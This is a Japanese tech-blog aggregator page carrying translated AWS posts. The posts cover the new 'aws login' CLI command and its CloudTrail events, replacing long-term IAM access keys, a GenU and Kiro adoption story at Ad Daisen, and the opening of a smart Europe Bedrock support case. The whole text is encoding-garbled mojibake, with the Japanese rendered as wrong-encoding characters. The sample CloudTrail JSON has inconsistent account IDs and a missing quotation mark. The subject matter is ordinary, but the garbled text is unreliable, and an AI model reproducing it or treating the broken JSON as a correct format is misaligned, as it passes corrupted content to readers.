AWSのブログ - TECH PLAY

TECH PLAY

AWS

AWS の技術ブログ

å…š3894ä»¶

本ブログは 2025 幎 11 月 19 日に公開された AWS Blog “ Simplified developer access to AWS with ‘aws login’ ” を翻蚳したものです。 AWS でのロヌカル開発甚の認蚌情報の取埗が、よりシンプルで安党になりたした。新しい AWS Command Line Interface ( AWS CLI ) コマンド aws login を䜿甚するず、長期アクセスキヌを䜜成・管理するこずなく、AWS にサむンアップした盎埌からすぐに構築を開始できたす。 AWS マネゞメントコン゜ヌル で䜿甚しおいるのず同じサむンむン方法を利甚できたす。 このブログでは、新しい aws login コマンドを䜿甚しお、AWS CLI、AWS Software Development Kit (AWS SDK)、およびそれらを䜿甚しお構築されたツヌルやアプリケヌション向けの䞀時的な認蚌情報をワヌクステヌションに取埗する方法を玹介したす。 AWS ぞのプログラムによるアクセスを始める 以䞋のセクションで説明するように、AWS マネゞメントコン゜ヌルのサむンむン方法で aws login コマンドを䜿甚できたす。 シナリオ 1: IAM 認蚌情報 (ルヌトたたは IAM ナヌザヌ) を䜿甚する ルヌトナヌザヌたたは IAM ナヌザヌのナヌザヌ名ずパスワヌドを䜿甚しおプログラムによるアクセス甚の認蚌情報を取埗するには、以䞋の手順を実行したす。 最新の AWS CLI (バヌゞョン 2.32.0 以降) をむンストヌルしたす aws login コマンドを実行したす デフォルトの AWS リヌゞョン を蚭定しおいない堎合、リヌゞョンの入力を求められたす (䟋: us-east-2、eu-central-1)。このプロンプトで䞀床入力するず、AWS CLI はその蚭定を蚘憶したす。 図 1: AWS CLI のリヌゞョンプロンプト AWS CLI がデフォルトのブラりザを開きたす ブラりザりィンドりの指瀺に埓いたす。 すでに AWS マネゞメントコン゜ヌルにサむンむンしおいる堎合は、「Continue with an active session」(アクティブなセッションで続行) ずいう画面が衚瀺されたす。 図 2: AWS サむンむン – アクティブセッションの遞択 AWS マネゞメントコン゜ヌルにサむンむンしおいない堎合は、サむンむンオプションペヌゞが衚瀺されたす。「Continue with Root or IAM user」(ルヌトナヌザヌたたは IAM ナヌザヌで続行) を遞択し、AWS アカりントにログむンしたす。 図 3: AWS サむンむン – サむンむンオプション 成功ですAWS CLI コマンドを実行する準備ができたした。 aws sts get-caller-identity コマンドを詊しお、珟圚䜿甚しおいる ID を確認しおください。 図 4: AWS サむンむン – 完了 シナリオ 2: フェデレヌションサむンむンを䜿甚する このシナリオは、組織の ID プロバむダヌを通じお認蚌する堎合に適甚されたす。フェデレヌションで匕き受けたロヌルのプログラムによるアクセス甚の認蚌情報を取埗するには、以䞋の手順を実行したす。 シナリオ 1 のステップ 1〜4 を完了しおから、以䞋の手順に進みたす ブラりザりィンドりの指瀺に埓いたす。 すでに AWS マネゞメントコン゜ヌルにサむンむンしおいる堎合、ブラりザにはフェデレヌションサむンむンからコン゜ヌルぞのアクティブな IAM ロヌルセッションを遞択するオプションが衚瀺されたす。AWS マネゞメントコン゜ヌルで マルチセッションサポヌト を有効にしおいる堎合、最倧 5 ぀のアクティブな AWS セッションを切り替えるこずができたす。 図 5: AWS サむンむン – アクティブな IAM ロヌルセッションの遞択 AWS マネゞメントコン゜ヌルにサむンむンしおいない堎合、たたは別の IAM ロヌルの䞀時的な認蚌情報を取埗したい堎合は、別のブラりザタブで珟圚の認蚌メカニズムを䜿甚しお AWS アカりントにサむンむンしたす。ログむンに成功したら、このタブに戻り、「Refresh」(曎新) ボタンを遞択したす。コン゜ヌルセッションがアクティブセッションの䞋に衚瀺されたす aws login プロセスが正垞に完了したら、AWS CLI に戻りたす 遞択したコン゜ヌルサむンむン方法に関係なく、 aws login コマンドによっお発行された䞀時的な認蚌情報は、AWS CLI、AWS Tools for PowerShell、AWS SDK によっお 15 分ごずに自動的にロヌテヌションされたす。これらの認蚌情報は、IAM プリンシパルに蚭定されたセッション期間 (最倧 12 時間) たで有効です。セッション期間の制限に達するず、再床ログむンするよう求められたす。 図 6: AWS サむンむン – セッションの有効期限 ロヌカル開発ツヌルを䜿甚した AWS ぞのアクセス aws login コマンドでは、プロファむルを䜿甚しお耇数の AWS アカりントずロヌルを切り替えるこずができたす。 aws login --profile <PROFILE_NAME> でプロファむルを蚭定し、 aws sts get-caller-identity --profile <PROFILE_NAME> でそのプロファむルを䜿甚しお AWS コマンドを実行できたす。 aws login によっお発行された䞀時的な認蚌情報は、AWS CLI 以倖でも䜿甚できたす。以䞋のツヌルでも利甚可胜です。 AWS SDK : 開発に AWS SDK を䜿甚しおいる堎合、SDK クラむアントはこれらの䞀時的な認蚌情報を䜿甚しお AWS に認蚌できたす AWS Tools for PowerShell : Invoke-AWSLogin コマンドを䜿甚したす リモヌト開発サヌバヌ : ブラりザにアクセスできないリモヌトサヌバヌで aws login --remote を䜿甚するず、ブラりザで AWS コン゜ヌルにアクセスできるデバむスから䞀時的な認蚌情報を取埗できたす 新しいコン゜ヌル認蚌情報プロバむダヌをサポヌトしおいない叀いバヌゞョンの AWS SDK: これらの叀い SDK を䜿甚しお構築された゜フトりェアは、AWS CLI の credential_process プロバむダヌ を䜿甚するこずで、 aws login によっお提䟛される認蚌情報をサポヌトできたす IAM ポリシヌによる aws login ぞのアクセス制埡 aws login コマンドは、 signin:AuthorizeOAuth2Access ず signin:CreateOAuth2Token の 2 ぀の IAM アクションによっお制埡されたす。 SignInLocalDevelopmentAccess マネヌゞドポリシヌを䜿甚するか、これらのアクションを IAM ポリシヌに远加しお、コン゜ヌルアクセス暩を持぀ IAM ナヌザヌず IAM ロヌルがこの機胜を䜿甚できるようにしたす。 AWS Organizations を䜿甚しおいお、メンバヌアカりントでのこのログむン機胜の䜿甚を制埡したい堎合は、サヌビスコントロヌルポリシヌ (SCP) を䜿甚しお䞊蚘の 2 ぀のアクションを拒吊できたす。これらの IAM アクションずそのリ゜ヌスは、すべおの関連する IAM ポリシヌで䜿甚できたす。 AWS では、AWS Organizations で 䞀元化されたルヌトアクセス管理 を䜿甚しお、メンバヌアカりントから長期ナヌザヌ認蚌情報を排陀するこずを掚奚しおいたす。この機胜により、セキュリティチヌムは䞭倮の管理アカりントから短期間でタスクが限定されたルヌトセッションを通じお特暩タスクを実行できたす。䞀元化されたルヌト管理を有効にしおメンバヌアカりントのルヌトナヌザヌ認蚌情報を削陀するず、メンバヌアカりントぞのルヌトナヌザヌログむンが拒吊され、aws login を䜿甚したルヌトナヌザヌ認蚌情報によるプログラムによるアクセスも防止されたす。ルヌトナヌザヌ認蚌情報たたは IAM ナヌザヌを䜿甚しおいる開発者にずっお、 aws login は開発ツヌルに䞀時的な認蚌情報を提䟛し、有効期限のない長期アクセスキヌに代わる安党な方法ずなりたす。 aws login を䜿甚したプログラムによるアクセスのログ蚘録ずセキュリティ AWS サむンむンは AWS CloudTrail を通じお API アクティビティをログに蚘録したす。CloudTrail には aws login 固有の 2 ぀の新しいむベントが远加されたした。このサヌビスは、ナヌザヌがログむンした AWS リヌゞョンで AuthorizeOAuth2Access ず CreateOauth2Token ずいう 2 ぀の新しいむベント名を蚘録したす。 以䞋は AuthorizeOAuth2Access むベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser", "arn": "arn:aws:sts::225989345271:assumed-role/Admin/testuser, "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "11111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-17T22:50:14Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-17T22:51:32Z", "eventSource": "signin.amazonaws.com", "eventName": "AuthorizeOAuth2Access", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "requestParameters": { "scope": "openid", "redirect_uri": "http://127.0.0.1:53037/oauth/callback", "code_challenge_method": "SHA-256", "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "e2854c76-1cba-4360-9fd1-5037b591466b", "eventID": "59e1720d-3deb-44ff-933d-6828be2a860a", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } 以䞋は CreateOAuth2Token むベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser-Isengard", "arn": "arn:aws:sts::111111111111:assumed-role/Admin/testuser-Isengard", "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "111111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-18T20:38:10Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-18T20:38:44Z", "eventSource": "signin.amazonaws.com", "eventName": "CreateOAuth2Token", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "aws-cli/2.32.0 md/awscrt#0.28.4 ua/2.1 os/macos#24.6.0 md/arch#arm64 lang/python#3.13.9 md/pyimpl#CPython m/b,AA,Z,E cfg/retry-mode#standard md/installer#exe sid/35033f4ca1bd md/prompt#off md/command#login", "requestParameters": { "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "94562943-c85b-4dc1-bf72-43b0fd42d6de", "eventID": "0b338fac-6a10-4740-b34d-1bb6923e799e", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } aws login コマンドは、認可コヌド傍受攻撃から保護するために、PKCE (Proof Key for Code Exchange) を䜿甚した OAuth 2.0 認可コヌドフロヌを採甚しおいたす。これにより、AWS での開発を始めるために IAM ナヌザヌアクセスキヌを蚭定する代わりずなる、安党な方法が提䟛されたす。長期 IAM アクセスキヌに代わる最新の認蚌アプロヌチに぀いおは、AWS Security Blog「 IAM アクセスキヌからの脱华: AWS におけるモダンな認蚌アプロヌチ 」を参照しおください。 たずめ AWS ロヌカル開発甚ログむン機胜は、AWS ぞのプログラムによるアクセスにおいお長期認蚌情報の䜿甚を排陀するのに圹立぀、デフォルトで安党な機胜匷化です。 aws login を䜿甚するず、AWS マネゞメントコン゜ヌルぞのサむンむンに䜿甚しおいるのず同じ認蚌情報で、すぐに構築を開始できたす。この機胜は、すべおの AWS 商甚リヌゞョン (䞭囜ず GovCloud を陀く) で远加費甚なしでご利甚いただけたす。 詳现に぀いおは、 AWS CLI ナヌザヌガむド の認蚌ずアクセスのセクションをご芧ください。 Shreya Jain Shreya は AWS Identity のシニアテクニカルプロダクトマネヌゞャヌです。耇雑なアむデアに明確さずシンプルさをもたらすこずにやりがいを感じおいたす。仕事以倖では、ピラティスやダンスをしたり、お気に入りのコヌヒヌショップを探したりしおいたす。 Sowjanya Rajavaram Sowjanya は AWS の Identity and Security を専門ずするシニア゜リュヌションアヌキテクトです。あらゆる芏暡のお客様の ID およびアクセス管理の問題解決を支揎しおいたす。旅行や新しい文化、食べ物を探求するこずを楜しんでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本ブログは 2025 幎 7 月 21 日に公開された AWS Blog “ Beyond IAM access keys: Modern authentication approaches for AWS ” を翻蚳したものです。 AWS の認蚌においお、 AWS Identity and Access Management (IAM) アクセスキヌなどの長期認蚌情報に䟝存するこずは、認蚌情報の挏掩、䞍正な共有、窃取などのリスクをもたらしたす。この蚘事では、AWS のお客様が埓来 IAM アクセスキヌを䜿甚しおきた 5 ぀の䞀般的なナヌスケヌスず、怜蚎すべきより安党な代替手段を玹介したす。 AWS CLI アクセス: AWS CloudShell の掻甚 䞻に AWS コマンドラむンむンタヌフェむス (AWS CLI) アクセスのためにアクセスキヌを䜿甚しおいる堎合は、 AWS CloudShell の利甚を怜蚎しおください。AWS CloudShell はブラりザベヌスの CLI で、䜿い慣れた匷力な CLI 機胜を提䟛しながら、ロヌカルでの認蚌情報管理の必芁性を最小限に抑えたす。 セキュリティを匷化した AWS CLI: AWS IAM Identity Center より堅牢な゜リュヌションが必芁な堎合は、AWS CLI v2 ず AWS IAM Identity Center の組み合わせが優れた認蚌アプロヌチを提䟛したす。この統合により、以䞋が可胜になりたす。 ナヌザヌ管理の䞀元化 倚芁玠認蚌 (MFA) ずのシヌムレスな統合 セキュリティ制埡の匷化 蚭定は AWS CLI ドキュメント を䜿甚しお簡単に行え、MFA は IAM Identity Center MFA ガむド に埓っお有効化できたす。 ロヌカル開発: IDE 統合 ロヌカル環境で䜜業する開発者向けには、Visual Studio Code などの最新の統合開発環境 (IDE) が AWS Toolkit をサポヌトしおおり、IAM Identity Center を通じた安党な認蚌を提䟛したす。これにより、スムヌズな開発䜓隓を維持しながら、長期アクセスキヌが䞍芁になりたす。詳现は、 AWS IDE 統合 をご芧ください。 AWS コンピュヌティングサヌビスず CI/CD アクセス アプリケヌションや自動化パむプラむンが AWS リ゜ヌスぞのアクセスを必芁ずする堎合、AWS コンピュヌティングサヌビス ( Amazon Elastic Compute Cloud (Amazon EC2) 、 Amazon Elastic Container Service (Amazon ECS) 、 AWS Lambda ) 䞊で実行する堎合でも、CI/CD ツヌルを通じお実行する堎合でも、IAM ロヌルが理想的な゜リュヌションを提䟛したす。これらのロヌルは䞀時的な認蚌情報のロヌテヌションを自動的に管理し、セキュリティのベストプラクティスに埓いたす。 AWS コンピュヌティングサヌビスの堎合 : コンピュヌティングリ゜ヌスで暙準の IAM ロヌルを䜿甚したす。実装の詳现に぀いおは、 EC2 IAM ロヌルのドキュメント を参照しおください AWS でホストされる CI/CD の堎合 : AWS CodePipeline や AWS CodeBuild などを䜿甚する堎合は、 サヌビスリンクロヌル を䜿甚しおアクセス蚱可を安党に管理したす Amazon EC2 でセルフホストされる CI/CD ツヌルの堎合 : Jenkins や GitLab などのツヌルを AWS リ゜ヌス䞊で実行しおいる堎合は、他のコンピュヌティングサヌビスず同様に IAM ロヌル (むンスタンスプロファむル) を䜿甚したす サヌドパヌティの CI/CD サヌビス (GitHub Actions、CircleCI など) に぀いおは、次の 倖郚アクセス芁件 を参照しおください。 倖郚アクセス芁件 サヌドパヌティアプリケヌションやオンプレミスワヌクロヌドが関係するシナリオでは、AWS は 3 ぀の方法を提䟛しおいたす。 サヌドパヌティアプリケヌション : 長期アクセスキヌの代わりに、IAM ロヌルを通じた䞀時的なセキュリティ認蚌情報を実装したす。ルヌトナヌザヌのアクセスキヌは絶察に䜿甚しないでください。 サヌドパヌティアクセスのドキュメント を参照しおください オンプレミスワヌクロヌド : IAM Roles Anywhere を䜿甚しお、AWS 以倖のワヌクロヌド甚の䞀時的な認蚌情報を生成したす。詳现に぀いおは、 AWS 以倖のワヌクロヌドのアクセス を参照しおください CI/CD SaaS (Software as a Service) : クラりドベヌスの CI/CD サヌビスの堎合は、 OpenID Connect (OIDC) ず IAM ロヌルの統合 を䜿甚しお、氞続的な認蚌情報の必芁性を最小限に抑えたす。これにより、CI/CD パむプラむンは信頌関係を通じお䞀時的な認蚌情報を取埗できたす。実装の詳现に぀いおは、AWS OIDC プロバむダヌのドキュメントを参照しおください ベストプラクティス: 最小暩限の原則 認蚌方法に関係なく、垞に最小暩限の原則を実装しおください。これにより、ナヌザヌずアプリケヌションが必芁なアクセス蚱可のみを持぀ようになりたす。正確な IAM ポリシヌの䜜成に関するガむダンスに぀いおは、 最小暩限の IAM ポリシヌを䜜成するためのテクニック を参照しおください。 泚: AWS は AWS CloudTrail ログに基づくポリシヌ生成も提䟛しおおり、実際の䜿甚パタヌンに基づいおアクセス蚱可テンプレヌトを䜜成できたす。この機胜に぀いおは、 IAM ポリシヌ生成のドキュメント をご芧ください。 たずめ ここたで玹介しおきたように、IAM アクセスキヌに代わる安党な代替手段は数倚くあり、セキュリティリスクを軜枛しながら AWS 認蚌戊略を匷化できたす。CloudShell、IAM Identity Center、IDE 統合、IAM ロヌル、IAM Roles Anywhere などのツヌルを䜿甚するこずで、最新のセキュリティのベストプラクティスに沿った堅牢な認蚌メカニズムを実装できたす。重芁なポむントは以䞋のずおりです。 長期アクセスキヌを避け、䞀時的な認蚌情報を䜿甚する ナヌスケヌスに最適な認蚌方法を遞択する すべおのアクセス方法で最小暩限の原則を実装する ポリシヌの生成ず管理のために AWS が提䟛する組み蟌みツヌルを掻甚する 新しい゜リュヌションが利甚可胜になったら、認蚌方法を定期的に芋盎しお曎新する これらの倉曎を行うこずで、セキュリティポスチャを改善するだけでなく、AWS 環境党䜓の認蚌プロセスを効率化できたす。たずは珟圚の IAM アクセスキヌのナヌスケヌスを特定し、これらのより安党な代替手段に段階的に移行するこずから始めおください。将来的にセキュリティ管理の負担が軜枛され、セキュリティチヌムにずっおも倧きなメリットずなるでしょう。 Mitch Beaumont Mitch はオヌストラリアのシドニヌを拠点ずする Amazon Web Services のプリンシパル゜リュヌションアヌキテクトです。オヌストラリア最倧玚の金融サヌビスのお客様ず協力し、構築・提䟛する補品や機胜のセキュリティ氎準を継続的に向䞊させる支揎をしおいたす。仕事以倖では、家族ずの時間、写真撮圱、サヌフィンを楜しんでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本ブログは 株匏䌚瀟アド・ダむセン 様ずアマゟン りェブ サヌビス ゞャパン合同䌚瀟が共同で執筆いたしたした。 みなさん、こんにちは。゜リュヌションアヌキテクト 瀬高 拓也です。 株匏䌚瀟アド・ダむセンの理念は「”顧客”から”個客”ぞ」。付加䟡倀を远求し、One to One コミュニケヌションを具珟化するこずを掲げおいたす。目暙を共有する二人䞉脚の戊略パヌトナヌずしお、顧客䞀人ひずりの「おもおなし」にフォヌカスした”個客”戊略を打ち出しおいたす。 このような理念を実珟するためには、お客様ごずにカスタマむズされた゜リュヌションを提䟛する必芁があり、限られたリ゜ヌスで倚様な芁求に応える柔軟性ず、個別察応を可胜にする技術基盀の構築が重芁な課題ずなっおいたした。。本ブログでは、アド・ダむセン様が Generative AI Usecases (GenU) を掻甚し、非技術者が䞻導しお業務効率化を実珟した取り組みをご玹介したす。 成熟業界で生き残るための珟堎䞻導 DXマニュアルワヌカヌからナレッゞワヌカヌぞ アド・ダむセン様は、ダむレクトメヌルDMの䌁画・制䜜から配送たでを䞀貫しお手がける䌁業です。成熟業界においお䌚瀟が生き残るために、生産性向䞊が必須の課題であるず捉えおいたした。 同瀟が盎面しおいた最倧の課題は、「珟堎レベルの DX は珟堎の人間にしかできない」ずいう珟実でした。お客様ごずのリピヌトビゞネスであるこずから案件ごずに異なる垳祚圢匏や運甚プロセスになっおおり、業務の個別最適化が自然ず発生しおいたした。 このような業務が無数に存圚する䞭で、グルヌプ䌚瀟を含めお゚ンゞニアは圚籍しおいるものの、無数にある案件ごずの課題党おに゚ンゞニアを割り圓おるのは珟実的ではありたせんでした。その結果、基幹システムやサブシステムを刷新しおも、手元の業務プロセスの効率化たでに至らないずいう状況に陥っおいたした。 この課題に察し、同瀟は 3〜4 幎前から RPA を導入し、本業に近いずころで掻甚するなど、業務改善に前向きに取り組んでいたしたが、さらなる加速が必芁であるず考えおいたした。 GenU で始たった珟堎䞻導の業務効率化 圓初、アド・ダむセン様には明確な AI 掻甚ビゞョンはありたせんでしたが、「取り残されないために AI を䜿わなければ」ずいう危機感がありたした。 瀟内では既に生成 AI をマクロのコヌディングやブログ執筆などに利甚しおいたしたが、チャットによるテキストベヌスのやり取りに留たっおいたした。そこで Amazon Bedrock を掻甚するむベントをきっかけに、GenU をご玹介させおいただき、より実践的な掻甚を暡玢され始めたした。 Amazon Bedrock が利甚料に応じた埓量課金である点も、たずは觊っおみるずいう姿勢にマッチしおおり瀟内での実践的な怜蚌をするこずになりたした。 生成 AI チヌムの発足ず初期の取り組み 同瀟は RPA、瀟内 Q&A ツヌル、生成 AI の 3 チヌムを基瀎研究を目的ずしお線成し、生成 AI チヌムが GenUを前提に掻動を開始したした。 GenUの機胜や、ビルダヌモヌドずいう独自にナヌスケヌスの䜜成ができる機胜を䜿い、以䞋のような取り組みを行いたした – 議事録の自動䜜成 : 䌚議内容の芁玄ず敎理 – 画像刀定ツヌル : DM の封筒加工の向きや面付けチェックの自動化 – 営業数字の分析ツヌル : 売䞊デヌタの可芖化ず分析 これらは新しい䟡倀を提䟛できたものの、テキスト出力が䞭心である点や既存事業の䞭心である事務業務の効率化には盎結しおいない点から「もっず実務に盎結する圢で掻甚できないか」ずいう課題が残っおいたした。 転機スケゞュヌル管理ツヌルの開発に成功 転機ずなったのは、名叀屋のメンバヌが「業務効率化のためのツヌルを Python で䜜れないか」ずいう課題に挑戊し、GenU で Excel ず Python を組み合わせたツヌルの開発に成功したこずです。 孊生時代に Python に觊れた経隓のあるメンバヌが、GenU の チャット機胜を掻甚しお、スケゞュヌル管理ツヌルを開発したした。 – 機胜 : 出荷日から逆算しお䞊行する 5〜10 本のプロゞェクトのスケゞュヌルを自動生成 – 連携 : Excel ぞの自動転蚘、VBA で Outlook のカレンダヌに自動登録 – 効果 : 2〜3 時間かかっおいた䜜業が 数分で完了 このツヌルは埓来人間が手䜜業で目芖をしながら行う、スケゞュヌル調敎ず転蚘䜜業を自動化し、䞻芁な事務䜜業の倚くに共通する倉数取埗→情報凊理→提出資料ぞの反映ずいうプロセスを自動化するこずに成功したした。たた、業務時間の効率化だけでなく、人的ミスの削枛にも倧きく寄䞎し䜜業自䜓の品質向䞊にも぀ながりたした。たた、䜕より重芁だったのは、「非技術者でも 生成AI を䜿えば実務に盎結するツヌルを䜜れる」ずいう珟堎レベルのDXにおける成功䜓隓を埗たこずでした。 次のステップ Kiro を掻甚したより耇雑な課題ぞの挑戊 GenU を甚いた開発による成功を受け、Kiro の掻甚を進めおいたす。Kiro は統合開発環境IDEずしお、Agentic AI ずの察話を通じおコヌドを修正し、指瀺を出しながら開発を進められるツヌルです。 GenU で培った経隓を基に、生成 AI チヌムのメンバヌが Kiro を詊隓的に䜿い始めたした。最初に取り組んだのが、配送シミュレヌションツヌルの開発です。 アド・ダむセン様では、民間の配送業者ず郵䟿局を䜿い分けお DM を配送しおいたす。埓来は Microsoft Access で事前シミュレヌション甚の資産レポヌトを䜜成しおいたしたが、数䞇倚いもので数癟䞇レコヌドにもなるデヌタを件件、耇数ファむルの配送マスタヌに圓おおシミュレヌションする䜜業は非垞に負荷が高く、案件によっおは䞞 2 日かけお行う業務でした。 Kiro での開発ず効果 Kiro を䜿っお配送シミュレヌションツヌルの開発に挑戊したずころ、倧きな改善効果が埗られたした – 開発時間 : わずか 2 時間で基本機胜が完成 – 凊理時間 : たる 2 日かかっおいた䜜業が玄 30 秒に短瞮 – 機胜 : 箄 10 瀟の宅配䌚瀟マスタヌから遞択、ファむルが耇数でも、どのようなファむルレむアりトでも䞀括照合、結果の可芖化 Kiro の IDE 機胜 + Agentic AI により、コヌドの線集、デバッグ、実行を䞀貫しお行えたこずが、開発スピヌドの向䞊に぀ながりたした。「このデヌタをこう凊理したい」ずいう業務芁件を䌝えるこずで、AI がコヌドを生成・修正しおいく察話的な開発プロセスが、非技術者でも高床なツヌルを䜜れる環境を提䟛しおいたす。 今埌の展開 珟圚、配送シミュレヌションツヌルは実業務での瀟内リリヌスに向けお調敎䞭です。リリヌスの刀断基準や展開方法を怜蚎しおおり、しかるべき担圓者がツヌルを開発、怜蚌し、経隓者がチェックしおルヌルを䜜る䜓制を敎えお党瀟のDXを促進しおいきたす。 たずめ 今回は株匏䌚瀟アド・ダむセン様の事䟋ずしお、非技術者の方が生成 AI を掻甚しお珟堎䞻導で業務効率化を実珟した事䟋をご玹介させおいただきたした。 GenU や Kiro を䜿った取り組みは、AIを䜿った業務効率化だけでなく、珟堎䞻導のDXにおいお重芁な組織のむノベヌション文化促進ぞず぀ながるアプロヌチになりたす。 今回の事䟋は AWS Startup Loft Tokyo で開催された Amazon Q Developer Meetup #4 にお同瀟の吉田様に ご登壇いただいた際にもお話いただきたした。䌚堎の皆様から「技術的な専門知識がない䞭で、どうやっお玠 晎らしいむノベヌションを実珟されたのか」ずいった質問を倚くいただくなど、参加者の方々からも匷い関 心を持たれおおり、倚くの業皮から泚目されるご登壇内容ずなり、ご奜評いただきたした。 成熟業界においお、マニュアルワヌカヌからナレッゞワヌカヌぞのシフトは生き残りの鍵です。゚ンゞニアリ゜ヌスの制玄がある䞭で、珟堎の人間が自ら課題を解決できる環境を敎えるこずが、真の DX 掚進に぀ながりたす。生成 AI を掻甚にご興味がある方は、 AWS たでお問い合わせください 。 ゜リュヌションアヌキテクト 瀬高 拓也
本蚘事は 2025 幎 12 月 10 日に公開された How smart Europe Revolutionized Automotive Customer Support with Amazon Bedrock を翻蚳したものです。 自動車メヌカヌにずっお、新型車のリリヌス、無線通信 (OTA) による゜フトりェアアップデヌト、コネクテッドサヌビスの開始は、新鮮な顧客䜓隓を生み出したす。これらのむノベヌションは運転䜓隓の向䞊に圹立぀䞀方で、自動車所有者から車䞡の機胜、充電機胜、メンテナンス手順、デゞタルサヌビスに関する倚数の問い合わせを生み出したす。 自動車メヌカヌが珟代の自動車業界で競争力を維持するためには、絶え間ないむノベヌションサむクルが䞍可欠です。䞀方で、むノベヌションのスピヌドは、新しい技術を迅速に習埗し、増え続ける車䞡の機胜やサヌビスを利甚する顧客に専門的な案内を提䟛しなければならないカスタマヌ゚ンゲヌゞメントセンタヌの担圓者にたすたす負荷をかけおいたす。 特に、smart Europeのカスタマヌ゚ンゲヌゞメントチヌムは次のような課題に盎面しおいたした。 サポヌト問い合わせの急激な増加: 補品の発売や機胜の曎新が頻繁に行われおいたため、担圓者が察応する問い合わせの量が倚く、顧客の埅ち時間にボトルネックが生じおいたした。人手に頌ったプロセスで倧量の問い合わせを凊理するためにsmart Europeの担圓者を増やす必芁が生じ、運甚コストが倧幅に増加したした。 解決に芁する時間の増加: 時間がかかる人手に頌ったプロセスであったため、問い合わせの前さばき、優先順䜍づけ、分類、解決ずいう䞀連のプロセスを経お、顧客の埅ち時間を長匕かせるこずずなりたした。 必芁な知識の増倧ず䞀貫性のないサヌビス品質: 基本的な車䞡操䜜から高床なコネクテッドカヌ機胜たで、自動車に぀いおのあらゆるテヌマに぀いお専門的な案内を行う必芁が生じ、サポヌト担圓者に倧きな負荷がかかりたした。その結果、サポヌト担圓者や分野によっお、サヌビスの質にばら぀きが生じおいたした。 根本的な効率の問題に察凊するこずなく、担圓者の拡充やサポヌト時間を延長する埓来の業務拡倧アプロヌチをずった堎合、コストが倧幅に増加しおいたず考えられたす。 これらの課題の解決を支揎するために、AWS は smart Europe ず協力し、 smart.AI Case Handler ずいう新しいサポヌトツヌルを開発したした。このツヌルは、問い合わせに関するむンサむトずカスタマむズされた察応を提案するこずで、 smart Europe のサポヌト担圓者の効率を高めたす。このブログ蚘事では、 smart Europe の smart.AI Case Handler の実装に぀いお詳しく説明したす。  smart Europe に぀いお シュトゥットガルトのラむンフェルデン゚ヒタヌディンゲンに本瀟を眮く smart Europe GmbH は、電動モビリティの未来を開拓しおいたす。2020 幎以降、 smart は自動車䌁業ずしお初めお 100% 電気自動車に切り替えたした。これにより、アヌバンプレミアムモビリティ、電気自動車、コネクテッドモビリティ゜リュヌションの先駆者ずしおの地䜍を確立したした。 自動車業界は急速に進化しおいたす。電気自動車技術、自動運転機胜、コネクテッドカヌサヌビスは自動車業界を倉革しおいたす。 smart Europe は、倉化する消費者の芁求ず芏制芁件を満たすために垞に新補品ず高床な機胜を導入しおいたす。しかし、このむノベヌションサむクルは予期せぬ課題を生み、カスタマヌサポヌトの耇雑さず量は急激に増倧したした。 解決策 smart Europe は、自動車䌁業のカスタマヌサポヌト特有の課題を解決する自動化されたむンテリゞェントでスケヌラブルなサポヌト゜リュヌションの必芁ずしおいたした。この目的のために、 smart Europe は AWS ず協力しお smart.AI Case Handler ず呌ばれる包括的な生成 AI ゜リュヌションを実装したした。 smart.AI Case Handler は、過去の問い合わせ履歎ずガむドラむンを含む smart Europe のナレッゞベヌスに基づき、各問い合わせのむンサむトずカスタマむズされた察応を提案するサポヌト担圓者向けの支揎ツヌルです。ナヌザヌ゚クスペリ゚ンスの芳点では、サポヌト担圓者が Salesforcesmart Europe の CRM システムで問い合わせ内容を開くず、システムは AI が生成した問い合わせの抂芁を衚瀺し、内容確認埌に顧客ぞの察応に掻甚できる回答を担圓者に提案したす。 堅牢でスケヌラブルな゜リュヌションを構築するために、 smart Europe は耇数の AWS サヌビスを䜿甚するサヌバヌレスアヌキテクチャを実装したした。これらのサヌバヌレスサヌビスは、トラフィックや䜿甚量の倉化に応じお自動的にスケヌリングされるため、コストを節玄し、アプリのパフォヌマンスに圱響を䞎えるこずなくトラフィックの急激な急増にも察応できたす。 smart.AI Case Handler は 2 ぀の補完的な自動ワヌクフロヌによっお動䜜し、これらが連携しお AI を掻甚した包括的なサポヌトを提䟛したす。 ワヌクフロヌ 1: 問い合わせケヌスのタグ付け — 新しい問い合わせケヌスが䜜成された瞬間に自動的に分類しお優先順䜍を付け、各分野の専門家に適切に転送できるようにしたす。 ワヌクフロヌ 2: むンサむト生成 — AI が生成した分析、類䌌問い合わせケヌス、および問い合わせケヌス察応の進展に応じお動的に曎新される察応案を提䟛したす。 